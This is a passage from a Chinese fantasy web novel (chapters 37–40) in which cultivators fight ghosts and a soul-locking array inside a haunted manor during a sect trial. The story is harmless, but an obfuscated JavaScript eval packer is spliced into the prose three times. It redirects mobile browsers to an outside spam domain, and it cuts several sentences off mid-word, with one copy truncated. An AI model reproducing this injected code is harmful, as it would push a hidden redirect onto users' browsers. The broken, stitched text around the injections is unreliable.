莫非是和纪楚扮演“哥哥妹妹”久了,竟也连带着染上了她的傻气,就连看见块普通豆腐,都忍不住猜测“小猫”模样的会不会更加好吃…… 他觉得自己这份愤怒来的莫名,明知这个世界只为问仙大会的比试而存在,但心里还是忍不住想起“相亲”、“赵府”等字眼。 这个世界只在晚上才有妖邪,纪楚纵使是去探查消息,至于耗费一整个白天吗? 还是他当真教出了一个如此愚钝的师妹,到现在都没能察觉到这个小世界的诡异之处,轻易被这些人的几句话骗得“有家不回”? 冰冷的剑气自他指尖生发,寒气蔓上桌子,满满一桌食材眨眼间便被冻实后又绞碎,连餐盘碗筷都没剩下,只余桌面上一层薄薄的霜,被冷风一吹便散去无踪,像是从未存在过。 孟喻辞起身,循着邪气最重的中心,朝赵府走去。 若是她当真成了“魆”,他索性第一个将她淘汰出去,就当是他这个师兄,给自家师妹的“优待”。 37. 第 37 章 “魆,生灵被恶念控制所控,邪气缠身,恶意滋生,近乎邪魔,不可以人视之……” 许盈顶住大门: “你怎么念了一堆文邹邹的废话?这些家伙肯定不是人啊,重点是我们现在怎么办啊——” 方才她和纪楚一开门,就看见一群面目狰狞的人,和她们之前遇见的妞妞、赵府家丁等人相似,但是明显可怕的多。 房间内暖黄的灯光和清甜的点心香一下子吸引了那群人的注意,而和他们的状态截然不同的纪楚和许盈二人则直接成了活靶子。 顿时不少人拿着木棍和菜刀冲了过来,嘴里还喊着“赵贼该死”…… 虽然仇视的对象不是她们,但这群人似乎并不讲理,见她们从赵玉琳屋子里出来,便把她们当成攻击的对象。 许盈两手并用抵住身后的门,焦急地看向纪楚。 纪楚将书朝后翻了一页,发现后面全是空白纸张: “没了,赵玉琳的笔记就到这里。” 许盈气得要命: “蒋成旭这个狗肯定早看了这东西,偏偏不告诉我们!不要出门……他肯定早知道会变成这样!” 纪楚没来得及回答,三步并作两步冲到窗边,将一个试图破窗而入的丫鬟打扮的人打了出去,然后飞快关上窗户,用背抵着,这才有空对许盈说: “这些人应该是晚上变成魆,白天恢复正常,我们能动手吗?” “怎么不能动手?反正他们都不是人了,难道等着他们来杀咱们?” 许盈虽然这么说着,但还是抵着门没有动。 她心里也有着和纪楚一样的顾虑:这些“魆”白天就会恢复人的模样,她们根本不可能心无旁骛地只当除妖一样下死手。 诸如那些家丁丫鬟,诸如妞妞这样的孩子,分明对她们造不成什么伤害,如果晚上不由分说杀了他们,到了白天,她们真的能坦然面对自己的道心吗? 窗户和门都被撞出噼里啪啦的声响,纪楚提议: “我们先离开这儿吧。” 两人默数“三二一”,而后一齐松手。 门和窗同时打开,冷风瞬间灌进去,将桌子上的蜡烛吹灭。 一面漆黑中,屋子里只有桌上摊开的书被风吹得哗哗响,除此之外再无他人。 没了目标,闯进来的魆躁动一阵后很快安静下来,再次像游魂一样,握着武器,朝着正院的方向走去。 纪楚和许盈两人如同蜘蛛一样攀在房梁上,看到他们走了,这才松手跳了下来,摸黑跟在他们后面。 “他们看起来怨气好重。” 许盈道:“可见赵家待他们并不算好,打工人可真难啊。” 等了半天没听见纪楚回复,她不禁疑惑,又问了句: “你说是不是……纪楚——?” 尾音变了调。 一直走在她身边的纪楚不知何时没了踪影,只一张双目带血的鬼脸跟在她身边,凑的格外近。 * 纪楚原本正拉着许盈的手,可走着走着,忽然觉得掌中触感冰凉潮湿,像是捏住了刚才河里捞出来的鱼,一股难闻的水腥味扑面而来。 她当即意识到不妙。 耳边传来女子幽幽的声线: “人世苦多,你……” 纪楚根本不听她掰扯,松手的瞬间果断召出长剑,于半空中横划一道剑光,而后撞上了一个坚硬如铁的东西,竟是一双泡肿的乌青鬼爪。 纪楚:“呕——” 一想到她刚刚摸到的就是这种东西,没忍住干呕了一声。 哪知这下意识的反应竟惹恼了面前披头散发的鬼,一张看不清面容的鬼脸猛得凑上来,鬼口大开,高声尖啸: “无礼小儿!找死——” 纪楚猝不及防被鬼突脸,着急忙慌地后退一步躲开攻击。 刚站稳,又低头“呕”了一下。 这次干呕完还不忘解释:“对不起,这个味道实在太难闻了……” “啊啊啊啊——” 面前的鬼彻底怒了。 什么引诱不引诱的全都不在乎了,她要这个没礼貌的小鬼血溅当场! 鬼爪伸长至数寸,甲面深红带着血腥气,像是覆盖了好多层的凝固的血。 遮挡在脸前的头发下面,是一张肿胀到看不出本来面貌的脸,青青紫紫的斑点覆盖其上,仿佛刚从地下挖出来的僵尸。 舌头长伸,眼珠…… 纪楚看了一眼这鬼突出到快要掉下去的眼珠子,嗓子眼顿时不受控制,再次干呕出声。 这还是她第一次和造型这么恐怖的鬼面对面,而手上一直残留着握住鬼爪的那种粘腻阴冷的触感,更是让她恨不得将自己的手一起剁了。 可惜不能,她还没有学会断臂重生,只能洗干净继续用。 于是纪楚一边不断重复着朝手上扔“清洁术”的动作,一边挥剑挡鬼。 因为看着恶心碰到更恶心,所以纪楚简直用了不要命的架势,不但时刻提防着这只鬼的靠近,更是卯足了力气要在对方露出脸之前提前把它砍倒。 几番打斗之后,这只鬼被她砍得十指断裂,狼狈不堪,再无先前那般尖叫放狠话的力气,一个劲儿地求纪楚放了它。 纪楚一边给自己顺气,一边毫不犹豫地一剑解决了它。 直到这只鬼化作一道雾气消散,纪楚才感觉自己的鼻子重新开始工作。 只是一呼一吸间总带着沉重的潮湿气息,让她觉得自己好像掉进了什么鬼窝。 事实确实如此。 一只鬼死了,千千万万只鬼站了起来,黑暗中,一双双发绿的眼珠子盯着她,有的甚至只有一对儿眼珠子悬在半空。 尖细幽森的鬼叫一声叠着一声,越来越近越来越大,如同指甲划过铁皮,夹杂着哀嚎与啜泣,如同一屋子人同时在她耳边诉苦,听得人难以自控地萌生出烦躁痛苦以至于想要砍点什么来发泄的冲动。 纪楚:“……” 我这是掉到冥界了吗? 她心里怀疑着,捏紧了手中的剑柄。 好烦,好想砍点什么啊…… 这念头刚一冒出来,纪楚面前的场景瞬间发生了变化。 眼前的鬼影消失不见,冷而森寒的亮光中央,一棵细嫩的枝芽从地上破土而出,而后当着纪楚的面极快地完成来了抽条、变粗、长高、开花的过程。 眨眼间,纪楚面前就多了一棵枝繁花茂的桃树,上面的桃花一簇挨着一簇,长的格外艳丽,隐约还能闻见桃花甜香。 纪楚皱起脸,心里的那股子恶意滋生到无限大,左右看了看,没有其他人,于是遵循心里的本能,抬剑重重砍向花枝。 桃枝断裂,花朵委地,花瓣纷飞,好一派凄美景象。 纪楚却反而高兴起来: “早就想把这棵树砍了!可算叫我等到师兄不在了!” 是的,她心里最想砍的东西,就是师兄院子里那棵开满花的桃树。 打她是吧?今儿就把枝枝叉叉全给你削了,看师兄回来还能拿什么打她! 纪楚“哼哼”两声,灵力灌进长剑,模仿着师兄出手时的模样,一剑干脆果断招式凌厉,斩向桃树树根。 尖叫声顿起。 冲天的长啸忽而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192220|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自面前被砍得七零八落的桃树上冒出来,纪楚吃了一惊,剑刃还插在树根上。 这一声剧烈的尖叫打破了纪楚沉浸式砍树的快乐。 于此同时,身旁不知何时立了一道修长身影,长身玉立,目光沉静,雾气迷蒙看不清长相,隐约像是师兄。 纪楚意识到自己做了什么,心里顿时咯噔一下。 她竟然胆大包天砍了师兄的树,还是这种斩草除根的方式,甚至是当着师兄的面! 她什么时候这么勇了! 虽然她前世就拔了师兄院子里的花炒菜吃,但是很快她就被师兄一剑捅死了,想必师兄到最后都不知道是她干的,但是这次她还活的好好的,她该怎么解释啊啊啊啊—— 纪楚的思维疯狂发散,短时间内推敲了一百种解释方案,又被一一否决。 最后只能硬着头皮解释: “师兄,不是你想的那样……” 对面那人没有说话。 纪楚心里翻江倒海,左顾右盼一圈,捡起一截勉强还能入眼的树枝,拍了拍上面不存在的土,递给师兄,提出方案: “要不……我帮师兄重新再种一棵?” 师兄没接,甚至微微歪了歪头,饶有兴致地看着她。 纪楚拿着一截树枝如坐针毡如芒刺背,心道“果然是糊弄不过去”,泄气般道: “好吧好吧,我错了,我不该偷偷砍你的树,师兄你生气是应该的……” 某个瞬间,她的视线不经意移向自己面前的桃树,然后她就发现,离她最近的树干上,一双眼珠子泛着诡异的光,像是在冲她笑。 笑着笑着,左边那个眼珠子就流出血来,瞳孔开始朝上翻,还保持着笑意。 桃树上为什么会长眼睛? 不对! 桃树能发出尖叫声吗? 纪楚猛地睁大眼睛,顿觉后背发凉。 幻境随着她的清醒破碎,眼前哪儿还有什么桃树,取而代之的是一堆簇拥在一起假扮成桃树模样的小鬼。 被她打落的桃花也成了绿油油的鬼眼,在地上无助地翻滚哀嚎着。 而她手上…… 纪楚动作僵硬地低头看向自己的手。 她手上拿的自然也不是什么树枝,而是一截颜色惨白的断骨! 人在受到极端惊吓的时候是会当场呆住的。 纪楚:“……” 她面色平静地松手,断骨掉到地上。 而后她拔出自己的剑,退后一步,整个人看起来冷静镇定超脱凡尘。 就连孟喻辞都以为她真的如此平静的时候,纪楚忽然“啊——”的一声大叫,听起来又怕又崩溃,还夹杂着愤怒和恼羞成怒。 纪楚觉得自己被耍了。 这群鬼不但长的恶心,竟还假扮师兄来吓唬她! 瞧瞧这鬼,直到现在还不现出真身,简直把她当猴耍! 纪楚捏紧拳头,怒意无限上涌,而后两手握住剑柄,像抡大锤一样朝着面前这个人砸过去—— 雾气被剑上灵力划开,露出杨念之清俊的容貌。 一双黑沉双眸正望着她,不躲不闪。 纪楚长剑一下子顿住。 她的声音有点不确定:“杨念之?阿兄?” 她收了剑势却没收剑,仍保持着一段距离,用剑尖小心翼翼戳了戳他肩膀: “小鬼别想骗我。” 孟喻辞目光从纪楚脸上扫过,确认她身上毫无邪气,没有变成魆,也没有入魔,仍是早上离家前的模样,只是被鬼吓得更傻了些,这才缓缓开口: “杨思思,你发什么疯?” 38. 第 38 章 “杨思思,你发什么疯?” 这句不怎么友好的话一出,反倒让纪楚松了一口气。 看来方才的桃树啊、师兄啊什么的,全都是她被恶鬼蛊惑后的幻觉。 她仍在小世界里,身份是“杨思思”。 随即她又意识到,赵府的晚上恶鬼横行并不安全,连她都不小心被拉进了恶鬼造的幻觉中,杨念之怎么能好端端出现在这里? 甚至……他看见拿着剑砍鬼的“杨思思”,竟然丝毫不觉得惊讶,淡定地过了头。 纪楚看向“杨念之”的目光顿时充满了怀疑,试探道: “你不会也是……” 孟喻辞看她一眼,颇有些意味深长,没说是也没说不是。 但这足够纪楚明白了。 她倒吸一口凉气,想要捂嘴惊呼,又想到自己刚刚摸过鬼的骨头,只得放下手,一边施了个清洁术,一边惊道: “你竟然不是真的杨念之!” 孟喻辞看着她乱七八糟的发型和衣服,忍不住皱眉,伸手将她的头发理顺,领口拉平展。 纪楚追问: “你是哪个峰的?是师兄还是师姐?你是不是早就知道我不是杨思思了……啊我知道了,那天晚上你去敲何婶的门,是不是察觉到妖气了?” 她“嗐”了一声: “早知道你也是修士,我就不以做饭的理由把你忽悠走了!” 知道“杨念之”也是修士后,纪楚明显放松许多,语气很是轻快: “不过你做的饭真的超级好吃的,我……” 说到一半,她忽然卡了壳。 冷风一吹,被忘记的事情全都想了起来,纪楚不禁想到自己早上说过的“晚上回家吃饭”,现在却大半夜出现在赵府,摆明是已经忘了……于是偷偷看了一眼“杨念之”。 这位扮演“杨念之”的师兄或者师姐不会真的做了一大桌子饭等着她回去结果被她鸽了所以才追到赵府来找她算账的吧? 这一眼被孟喻辞发现了。 他自然知道纪楚想起了什么,面色不变,淡淡反问: “是吗?” 纪楚下意识回答: “当然是真的,我恨不得天天在家吃饭……” 说完她才反应过来,忍不住在心里骂了自己一句: “这不是哪壶不开提哪壶吗?前头放人鸽子后头又说想要,这不是找骂吗?!” 再抬头看见“杨念之”时,纪楚忍不住幻视了他在厨房苦练做饭技术终于摆出了一大桌子饭却只能“独守空桌”的凄惨场景。 联想到修士辟谷根本不需要做饭,而这位师兄或者师姐却还是为了扮演好这个角色而专门精进了厨艺,甚至明知道她是修士,还按时按点为她准备饭菜。 现在才出现在赵府,不会是在家里等了她好久吧…… 而她呢? 她得寸进尺,她言而无信,她放人鸽子,简直是个混蛋! 纪楚的良心疯狂自我攻击,终于在巨大的自责下开了口: “对不起,我今天没有按时回家,放了你鸽子。” 孟喻辞看她一眼。 纪楚继续说:“……你生气是应该的,毕竟是我食言了,害的你白等好久,虽然一开始是因为何婶要拉我去相亲,但主要是因为我想探一探赵府的情况,所以我……” “没有。” 孟喻辞忽然开口,打断她的道歉和解释。 纪楚“啊”了一声,没反应过来。 孟喻辞神色淡漠,强调道: “我没有等你。” “这样啊……” 纪楚酝酿出来的自责情绪骤然被打断,转而成了一种“羞愧”和“尴尬”。 “杨念之”这样子就好像在说: 你多大脸啊?真以为一句话就能让我等你好久吗?你能有任务重要?别自做多情了,我根本没有等你。 纪楚说不上是庆幸还是失望,总归是有种被噎住的吃瘪感,一时也不知道该说点什么,只得干巴巴地回了句: “没等就好……” 一抬头,发现“杨念之”仍盯着她,急忙转移话题,试图缓解尴尬: “那这位……我们先离开这儿吧。” 孟喻辞“嗯”了一声,抬步先行。 纪楚蔫了吧唧地跟在他身后。 孟喻辞余光瞥她一眼,勾了勾唇,这才觉得心底攒了许久的不快消散许多。 不知怎的,越是见纪楚这副没心没肺、天大的事情转头就忘的样子,他就越是想抓着她的错处教训她一顿。 他暂时只能把自己的这种心情归咎于“受了杨念之对杨思思的态度影响”。 毕竟,没有哪个哥哥会喜欢看见自己的妹妹夜不归宿,是为了去找别的男人。 待离开这一片难闻的恶鬼聚集地后,纪楚感觉空气里那股粘稠潮湿的味道一下子消失了。 她的心情很快好起来,正准备忘记一切不愉快,和“杨念之”告别去找许盈时,不期然听见他问了句: “你方才在幻觉里砍的什么?” 纪楚:“……” 被恶意操控着砍师兄院子里的桃树这事儿不怎么光彩,说出来还显得她“记仇又小气”; 再者说,都是来参加问仙大会的,万一这人认识师兄,出去随口提一嘴,那她就完了。 纪楚打算随便找个理由糊弄过去。 谁知她这念头刚一起,“杨念之”就跟知道她想糊弄似的,“及时提醒”她了句: “我听见“桃树、师兄”几个字。” 纪楚:“……” “杨念之”的目光平淡中带着莫名的穿透力,仿佛是真的在好奇,又仿佛是在等着看她手忙脚乱找补的笑话。 纪楚再度浮现出被噎住的感觉,某个瞬间她甚至觉得,这个“杨念之”一定是知道些什么,现在这副正经的外表只是方便他在心里狠狠嘲笑自己。 但再看过去时,对方的表情却毫无破绽,正在认真等她的回答。 纪楚心里的想法在脸上一览无余。 孟喻辞面上不显,心里却早已清楚她的这些小心思。 打不过他,就想退而求其次对着桃树下手。 出息! 修炼的时候光想着偷懒跑神,满脑子都是怎么砍他院子里的树,真以为他看不出来吗? 不过是看着她有怨气不敢撒,只敢背着他冲桃树骂骂咧咧的样子实在好笑,这才一直没有拆穿她罢了。 不过也正因为她这总和旁人不大一样的脑子,才没能被赵府的这些邪物蛊惑,从而免了被他提前淘汰的风险。 孟喻辞说不清心里是遗憾还是高兴。 这边纪楚终于编好了理由: “我是看到师兄院子里的树长的不好,所以帮他修修而已……哎呀可惜了,我好容易修剪好了树枝,结果竟然是幻觉!” 孟喻辞打量着她神情,语调微微上扬: “是吗?可我看你当时神情凶悍,不似修剪枝芽,倒似斩草除根啊?” 听见他的话,纪楚倒吸了半口凉气,又极快地压下去。 “当然了!” 她郑重点头强调,睁大眼睛与“杨念之”对视,还眨巴眨巴眼,显得又乖巧又灵动: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我这边的鬼好看多了,虽然也很吓人,但是起码是个人样,就是舌头有点长,一开始差点舔到我……” “咳咳。” 蒋成旭见这俩人的话题又跑偏了,忍不住咳嗽两声,打断她们对鬼的外貌的分享,转向“杨念之”: “这位是……?” 纪楚这才想起来自己还没有介绍“杨念之”的身份,于是拉着许盈的手转身,承担起了介绍人的工作: “这是齐文轩,赵玉琳,我的朋友。” 然后她指向孟喻辞,微微歪着头,语气像是在献宝: “这是杨念之,杨思思的哥哥,我刚刚才知道,他和我们一样。” “也是修士”几个字不必说,许盈和蒋成旭就已经明白了她的意思。 许盈“哇”了一声,抓着纪楚的手摇了摇。 然而蒋成旭脸上的表情并没有因为“同为修士”而放松下来,反而更加凝重: “你也是修士?那我之前怎么没在赵府见过你?” 孟喻辞的目光从纪楚和“齐文轩”一见面就拉住不放的手上移开,转向蒋成旭,淡淡开口: “两者并无关联。” 他微微眯起眼睛,看向蒋成旭的神色颇有些高深莫测: “还是说你觉得,修士——一定会出现在赵府?” 蒋成旭因他这句话猛得皱起眉头,浑身气息大变,像是随时打算动手。 孟喻辞仍神色淡淡,像是不曾察觉危险。 39. 第 39 章 纪楚不知道两人为何一见面就针锋相对,下意识回答道: “当然不啊,我和齐文轩就是今天才找到赵府来的。” 许盈也跟着点头,空出的一只手竖起大拇指,神情骄傲,颇为自洽: “可不咋滴,我俩就是这么与众不同。” 然后和纪楚相视一笑,一起嘿嘿嘿傻乐。 蒋成旭看着他的两个一无所知但依然乐观的傻子朋友,满肚子的纠结痛苦秘密也全都无法言说,一时只剩沉默。 孟喻辞看向纪楚,眼里也多了几分笑意。 空气中剑拔弩张的气氛顿时消散无踪。 许盈道:“既然找到纪楚了,我们就去找阵心吧。” 她转向纪楚:“你还不知道呢,蒋……” 刚准备说出蒋成旭全名,许盈忽然看见站在纪楚身边的“杨念之”,到底是个身份不明的竞争者,于是她立马改口: “赵玉琳已经找到了赵府古怪的根源,就是因为这里藏着一个地煞锁魂阵。” “地煞锁魂阵?” 纪楚震惊:“这东西会弄出那么多魆吗?” 孟喻辞看她一眼。 纪楚只当他还不知道,好心分享消息: “就是那些奇奇怪怪的人,你肯定也见过了,他们都是被恶念控制的魆,天黑才会暴露。你要小心,别被他们伤到了。” 孟喻辞“嗯”了一声,并无多少震惊神色,只道: “你也是。” 蒋成旭动了动嘴,想说些什么,又见“杨念之”神色平静,看向纪楚的目光中并无嘲讽或是恶意,于是只得将嘴边的话压了下去,转而道: “我也是今夜才确定……总之,你们跟着我,不要乱走。” * 许盈和蒋成旭在前面领路,纪楚落下两步,走到孟喻辞身边。 “这位师……兄或师姐……” 她刚起了个头,就被孟喻辞打断: “杨思思。” 他垂眸看向她: “你是否忘了,比试的规则。” 纪楚一愣,立马顺着他的话开始回忆:自己是不是忘记了什么重要的规则? 没有吧? 她不太确定。 看她苦思冥想却不得答案的疑惑表情,孟喻辞提醒她: “比试中,不可暴露身份。” 纪楚眨巴眼,先是不明所以,随后恍然大悟。 原来他是想告诉她:不论真实身份是什么,在这里,他都是“杨思思”的兄长。 这样“师兄还是师姐”的难题就迎刃而解了! 困扰自己许久的小问题被解决,纪楚感觉说话时气都顺了不少,脆生生叫了句: “我知道了,阿兄!” 孟喻辞长睫轻微一颤,凝视纪楚几息后收回目光,垂眸,按下心底因她这句极为清脆好听的“阿兄”二字而生出的些许涟漪,轻声回应: “嗯。” 他也是在见到蒋成旭和许盈两个人同时出现后,才知道纪楚为什么一直纠结他是“师兄”还是“师姐”。 出言提醒,也不过是看她总在称呼上犹犹豫豫,觉得沟通时麻烦而已。 孟喻辞心中想着。 然而他静静等了半天,纪楚却在喊了一声“阿兄”后没再出声,跟在他身侧不过走了几步就作势要加快步子,又想跑回到“齐文轩”跟前去。 他下意识伸手拽了她领子一把。 纪楚被他拉住,疑惑回头,正对上他格外专注的目光。 孟喻辞收回手,若无其事开口: “你方才想说什么?” “哎呀,我差点忘了!” 纪楚被他提醒,这才想起来自己刚刚忘了说重点,于是抬手敲了下自己的头,发出极为清脆的一声响,这才继续说: “阿兄,我刚刚是想问你,有没有赵家传家宝的消息?” 不等孟喻辞回答,她就急忙解释了一句: “我不是想打听你的任务进度,我只是好奇:大家的任务看似是除妖,但妖和这里的魆都很古怪。现在赵府又冒出来一个法阵,我就在猜,整件事会不会和传家宝有关系?” 她双眸清亮,条例有据地阐述自己的想法,并不像先前那般一无所知的呆傻模样。 孟喻辞按捺住了想摸她头的冲动,安静地听她说完,这才轻笑一声: “原来不傻。” 纪楚的眼睛一下子亮了起来,并不计较他的说辞,反倒更期待他的消息: “难道你真的知道……” “砰”的一声,身边的院墙忽然被灵力推开,土石飞溅而来,伴随着一道巨大的冲击力,一道灵符直冲纪楚后心攻来。 纪楚只来得及余光瞥见身后骤然亮起的光,还没来得及反应,就被孟喻辞捏着肩膀移到了另一边,及时躲开了这道攻击。 然而还不等她从这“一提一放”中捉摸出点熟悉的感觉,一直关注着这边的蒋成旭就忽然动手了。 先是一剑劈开冲他和许盈飞来的石块,而后剑锋一转,直直切入纪楚和孟喻辞中间,试图将他两人分开。 与此同时,院墙后头亦出现一道剑光,与蒋成旭一前一后,同时朝着孟喻辞而来。 孟喻辞神色不变,指尖剑气凝起,正待将这几人一同淘汰—— 纪楚忽然自身后一把推开他,果断挡在他前面,手中长剑与蒋成旭猛地撞在一起,发出尖锐的声响。 许盈同样跟着出手,剑锋压在另一个攻击他们的修士肩上: “广玄峰的?灵符用的不错啊!” 因着纪楚忽然动手,孟喻辞于是暗中收了剑意,目光落到了一旁的槐园中。 此刻的槐园与白日所见截然不同,院墙倒塌,花枝倒伏,最高的一棵槐树上槐花尽散,剑术符咒痕迹遍布树梢,怨气鬼魂附着其上,从树根处朝外延伸。 地煞锁魂阵。 想到什么,他的目光骤然冷了下去。 * 这边蒋成旭急道: “你怎可信他不信我?他是来杀你的!” 纪楚略震惊了一下,但仍挡在孟喻辞身前,丝毫没有退让之意: “什么意思?你先说清楚。” 许盈按住企图逃跑的修士,一边道: “没错,姓蒋的,自打我们见面你就支支吾吾,到底发生了什么?不说清楚,本姑娘连你一块揍!” 她和纪楚出门时便商量好了:赵府古怪,一直待在赵府的蒋成旭更是古怪。 若是在外面碰上了,一定得多留个心眼,防着点他。 没成想,果然叫她们猜对了! 蒋成旭见两人都不信他,一时气极,也顾不上隐瞒身份了: “许盈,你认识我这么久了,怎么也不信我?” “许盈?” 许盈还没回答,被她按住的那人闻言抬头: “你真是许盈?你怎么变成男人了?” 他复又将目光移向“赵玉琳”,颇有些不可思议,试探了句: “姓蒋的,蒋成旭?” 蒋成旭的脸色一僵,随即听见地上那人大笑起来: “哈哈哈哈……你竟变成了个弱不禁风小娘皮!妙哉妙哉,你二人常年厮混在一起,男不男,女不女,如今连万象天罗盘都看不下去了!叫你们也过一把变性的瘾!” 这口吻这语气,还会用广玄峰的符咒,除了孔回端还能有谁? 许盈和蒋成旭的脸色同时变得难看,暂且放下了猜忌,一左一右朝地上的人踹了一脚,齐声叱道: “闭上你的狗嘴!” 孔回端:“……” 他愤愤转向纪楚: “纪楚,你在这儿修为最低,这两个人谁都能将你淘汰,不若同我合作,先将他们两个除了,再做打算呃……” 纪楚三人不约而同又各自踹了他一脚: “少在这儿挑拨离间!” 孔回端:“……” 你们不是本来就在内讧吗?! 纪楚三人对峙时,他们脚下的地面忽然震动起来,阵法光点自四周升起,骤然将纪楚几人笼罩其中。 原来他们脚下所站,已是地煞锁魂阵范围! 许盈猛地看向蒋成旭:“你——” 蒋成旭深感百口莫辩,急忙解释:“不是你想的这样……” 他话音刚落,脚下的地面震颤起来,霎时间树影倒转,几只巨大的鬼爪忽然自他们身下的地面冒出,欲将他们扯至地下。 变数来的太突然,许盈反应不及,避开一只鬼爪的同时,竟叫孔回端从他剑下逃脱。 而这些鬼爪竟也视孔回端于无物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205454|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只冲着他们三个动手。 孔回端立于阵法光芒最强的地方,恶狠狠一笑,冲着他们扔下一句: “买一送三,真是大惊喜啊。” 随后身形一动,竟消失在他们面前,那道来自阵法的光芒也随之消失。 没空分神了,纪楚和许盈收回思绪,全力应付鬼爪的攻击。 然而这些鬼爪皆是以雾气凝聚,遇刃则断,很快又恢复原状,根本无法除尽。 堪堪得了片刻喘息,来不及离开便会又被鬼爪缠上。 蒋成旭同样被鬼爪缠住,但他不是第一次遇到这种情况,显然更有经验。 “我来断后!” 他以剑劈开两人跟前缠着的鬼爪,一指院子中央的老槐树: “去槐树上面!往槐树最高处跑!” 吵架归吵架,到底是有多年的交情打底。 性命攸关之际,许盈和纪楚对视一眼点点头,一齐横剑劈开挡在身前的鬼爪,趁着雾气还未凝聚之时,灵力开路剑风做挡,毫不犹豫朝着槐树的方向跑去。 蒋成旭依言护着两人逃出雾气,持剑断后。 许盈和纪楚跑到槐树附近后,以灵力助蒋成旭赶来。 三人谁也没有说话,拿出平时翻墙逃学时的利落劲儿,猴子一样往树上面攀。 地上那些鬼爪伸长到一定高度后便停下,像是忌惮着什么,惋惜地看着逃向树顶的几人,却仍未离开,像是在等他们坚持不住掉落下来。 “到底怎么回事?!” 快速的奔逃让几人都气喘吁吁。休息片刻后,许盈率先恢复体力,她忍无可忍地用剑指着蒋成旭: “你到底说不说!不说我就把你打下去喂鬼!” “我说……我说。” 蒋成旭平缓了下呼吸,开口道: “如你所见,地煞锁魂阵的阵心就在此处,但靠近这里,是需要祭品的。” “祭品?!” 许盈闻言顿时横眉竖眼: “你竟然还想把我们当祭品?!” “你怎么血口喷人呢?” 蒋成旭被她的指责气得要死: “你到底是有多讨厌我,才会这样想我?” “到底是谁包藏祸心?” 许盈冷笑,丹雨剑拔出半寸,作势恶狠狠威胁: “你肚子里能藏什么好水?” 蒋成旭也被她说得上火来气,开始顺着她的思路吵架: “从小到大,我何时害过你?!” “你没有吗?” 许盈“哼”了一声,开始翻旧账: “去年是谁在背后造谣我祖上有螳螂精血统,新婚之夜吃男人?害的林公子当天就跑了?!” 蒋成旭:“那林听雨是合欢宗的!” 许盈挥手:“我管他是什么宗的!长的好看就行。再说合欢宗正好,我还要摸摸他的……” 她一句“漂亮小白脸”还没说完,蒋成旭已气急败坏,口不择言: “摸什么摸!他那玩意儿都脏了!不如摸我的!” 许盈:“……” 纪楚:“……” 意识到自己情急之下说了什么,蒋成旭:“……” 他和许盈默默伸出手,一左一右捂住纪楚的耳朵。 许盈在纪楚耳边念咒: “小孩子不要听,纪楚宝宝不要听……” 纪楚:“……” 她抬手给自己顺了顺气,顶着一左一右两个“隔音装备”,道: “我相信蒋成旭,如果他想拿我们当祭品,就不会用佛经把我们留在屋子里了。” 话题终于扯了回来。 许盈也觉得纪楚说的有道理,当然也是不想在纪楚面前继续和蒋成旭吵架,沉默着将剑收了回去,算做和好。 “我之前觉得奇怪,玉书牌出现任务的同时,竟然还会额外强调:种族是人族。现在我隐约有点猜测了……” 纪楚继续说: “如果我猜的没错,蒋成旭,你的任务不是捉妖,你也不是人族吧?” 许盈一愣,瞪大了眼睛。 蒋成旭的脸色有些僵硬,但没有反驳。 还没等他们理清这句话中的巨大信息量,纪楚坐在树上看了一眼四周,又说: “还有,杨念之也不见了。” 40. 第 40 章 纪楚已经猜出来,蒋成旭便也不再隐瞒。 他的任务确实不是捉妖。 从玉书牌第一天晚上出现任务开始,他就被分配了“魆”的身份。 “赵府槐园下恶魂无数,原本被地煞锁魂阵锁着。但不知道从什么时候开始,压阵的宝物丢失,阴气外泄,逐渐将整座城都笼罩在其中,这也是你们见到的魆的来源。” “压阵宝物丢失,地煞锁魂阵便成了最邪的东西,一边用邪气引起人心之恶,一边却又随机猎杀魆。” “至于我们这些被分成魆的修士……” 蒋成旭神色懊恼: “可能是无意间生了恶念,所以才会被玉书牌判做……魔物,也在被阵法捕猎的范围。” 许盈和纪楚一阵失言,不知该说些什么来安慰他。 许盈拍了拍他肩膀。 蒋成旭苦笑一声: “其实若只是如此,倒还没这么诛心。我虽是魆,却并未入魔,纵使被猎杀,只要勉力逃脱就是。偏偏这玉书牌上还有一行字。” 他无意遮掩,主动将玉书牌展示给两人看。 纪楚一字一句念道: “以修士中成魆者填补阵心,可代替压阵宝物。日出清算,功过相抵,重新为人。” “这——” 许盈顿时想明白了一切,起身怒道: “这不就是让大家自相残杀吗?!” 孔回端的“埋伏”,蒋成旭的“为难”,还有那不知所谓的“祭品”,现下全有了因由! 纪楚的目光落到玉书牌上的“魆”字: “你还是魆,你没有动手吗?” 蒋成旭神色亦有愤懑: “若将同门填进去,换自己的身份清白,这难道不算作恶吗?纵使暂时得了人的身份,又怎么保证第二天依然是人呢?不过是饮鸩止渴罢了!” “事实上,第一天夜里的时候,也有很多人和我一样,没有动手。但天亮的时候,一部分人的玉书牌忽然自爆,当场淘汰。” 